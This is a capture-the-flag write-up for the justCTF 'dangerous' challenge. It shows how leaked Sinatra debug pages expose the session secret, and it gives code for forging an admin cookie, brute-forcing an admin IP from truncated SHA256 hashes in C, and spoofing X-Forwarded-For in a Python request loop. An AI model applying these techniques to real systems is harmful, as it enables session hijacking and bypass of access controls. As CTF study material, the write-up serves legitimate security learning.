dangerous
My friend told me there's a secret page on this forum, but it's only for administrators.
- Download: dangerous.tar
Recon
The archive contains a Ruby webapp made with Sinatra, a web framework.
Flag route:
get "/flag" do
if !session[:username] then
erb :login
elsif !is_allowed_ip(session[:username], request.ip, config) then
return [403, "You are connecting from untrusted IP!"]
else
return config["flag"]
end
end
Which requires:
- A valid session that contains key 'username'
- Passing the
is_allowed_ip
check
Valid session can be obtained via /login
, but only with valid credentials.
post "/login" do
if config["mods"].any? {
|mod| mod["username"] == params[:username] and mod["password"] == params[:password]
} then
session[:username] = params[:username]
redirect to("/flag")
else
return [403, "Incorrect credentials"]
end
end
We could not break the login check.
Error messages
During testing we noticed that the web application returns a traceback when hitting this raise
:
post "/:id" do
if params[:content].nil? or params[:content] == "" then
raise "Reply content cannot be empty!"
Which can be triggered via curl -s --path-as-is -XPOST -d 'content=' 'http://127.0.0.1:5000/1'
:
The resulting traceback does not contain much useful information, but it does demonstrate that error reporting is turned on.
It was then discovered that by supplying an additional -H "Accept: text/html"
the webapp
would instead show an HTML-based error page, this time showing useful information like:
application settings, environment, cookie settings (including the cookie secret key):
{
:path=>"/",
:domain=>nil,
:expire_after=>nil,
:secure=>false,
:httponly=>true,
:secret=>"3bceb076e1a6e915e68dc5eecc48b87ed6b886f89638814d8b7a2746d12
d3b03e5cf4e3cbc4522fd139efa6463a62458a2fef1fd399f69e8fb666050f311d93a"
}
Constructing our own cookie
With this secret session key, we can now forge our own cookies. To do this, we run our own Sinatra instance and set the session secret manually and modify a route to set session.username
to janitor
(the admin username):
set :session_secret, '3bceb076e1a6e915e68dc5eecc48b[...]'
get "/" do
session[:username] = "janitor"
@threads = get_threads(con)
erb :index
end
After visiting /
we may copy the resulting cookie, which is now considered 'logged in', as it contains janitor
as username
.
Beating the IP whitelist
We still need to pass the is_allowed_ip()
check. To recap, the /flag
route:
get "/flag" do
if !session[:username] then
erb :login
elsif !is_allowed_ip(session[:username], request.ip, config) then
return [403, "You are connecting from untrusted IP!"]
else
return config["flag"]
end
end
We discovered that Sinatra will listen to user-supplied IPv4 via X-Forwarded-For
.
Now we need to figure out the actual admin IPv4 address in order to pass IP check.
Bruteforcing the admin IP
From the posts template code we can see:
<% user_color = Digest::SHA256.hexdigest(reply[2] + @id).slice(0, 6) %>
Where reply[2]
is column number 2 from the user table, which is the ipv4 associated with a post, so it basically does: sha256(author_ipv4+thread_id).hex()[:6]
In the above image we can see the admin user janitor
has the color 20b201
. Using this information, we can iterate IPv4 space and see what combination(s) result in 20b201
.
This needed to be done somewhat quickly as during the CTF the live version kept changing every 10 minutes or so.
The following code spawns a number of workers to calculate various truncated sha256sums that match given input, e.g: 20b201
.
./brute 32 20b201 > ips
Which results in a list of possible admin IPs that satisfy 20b201
.
// gcc -O3 gen.c -lcrypto -pthread -o brute
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <openssl/sha.h>
#include <unistd.h>
#include <pthread.h>
#define MAX_THREADS 32
pthread_mutex_t mu_result;
typedef struct {
uint8_t start;
uint8_t end;
uint8_t *match;
uint32_t matchlen;
} ctx_t;
void *worker(void *arg) {
ctx_t *ctx = (ctx_t*)arg;
SHA256_CTX sha256;
int a,b,c,d;
uint8_t hash[32];
char ip[32];
for(a = ctx->start; a < ctx->end; a++) {
for(b=0; b<=255; b++) {
for(c=0; c<=255; c++) {
for(d=0; d<=255; d++) {
sprintf(ip, "%d.%d.%d.%d1", a,b,c,d);
SHA256_Init(&sha256);
SHA256_Update(&sha256, ip, strlen(ip));
SHA256_Final(hash, &sha256);
if (memcmp(hash, ctx->match, ctx->matchlen) == 0) {
pthread_mutex_lock(&mu_result);
printf("%d.%d.%d.%d\n", a,b,c,d);
pthread_mutex_unlock(&mu_result);
}
} } } }
return arg;
}
uint8_t nibval(char c)
{
if (c >= 'a' && c <= 'f') return (10 + c - 'a');
if (c >= 'A' && c <= 'F') return (10 + c - 'A');
if (c >= '0' && c <= '9') return c - '0';
return 0;
}
uint8_t ascii2byte(char *s) {
return (nibval(s[0]) << 4) | nibval(s[1]);
}
void ascii2bytes(char *s, uint8_t *o, uint32_t len) {
for (uint32_t i = 0; i < len; i++) {
o[i] = ascii2byte(s + (i * 2));
}
}
int main(int argc, char *argv[]) {
pthread_t workers[MAX_THREADS];
ctx_t thread_ctx[MAX_THREADS];
int num_threads = atoi(argv[1]);
if (256 % num_threads != 0) {
printf("error: pick power of 2 threads\n");
return 0;
}
uint32_t matchlen = strlen(argv[2]) >> 1;
uint8_t *match = malloc(matchlen);
ascii2bytes(argv[2], match, matchlen);
uint8_t slice = (256 / num_threads);
for(int i = 0; i < num_threads; i++) {
thread_ctx[i].start = (slice * i);
thread_ctx[i].end = (slice * (i+1));
thread_ctx[i].match = match;
thread_ctx[i].matchlen = matchlen;
pthread_create(&workers[i], NULL, worker, (void*)&thread_ctx[i]);
}
for(int i = 0; i < num_threads; i++) {
pthread_join(workers[i], NULL);
}
return 0;
}
We can then just submit the IPs with a script, one of the iterations will print the flag.
cookies = {
'rack.session': 'our_cookie',
}
for i, ipv4 in enumerate(ips):
headers = {
"X-Forwarded-For": ipv4,
'User-Agent': 'Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/113.0',
}
resp = requests.get('http://dangerous.web.jctf.pro/flag', cookies=cookies, headers=headers)
if "untrusted" not in resp.content.decode():
print(resp.content.decode()) # flag
sys.exit()
Flag
justCTF{1_th1nk_4l1ce_R4bb1t_m1ght_4_4_d0g}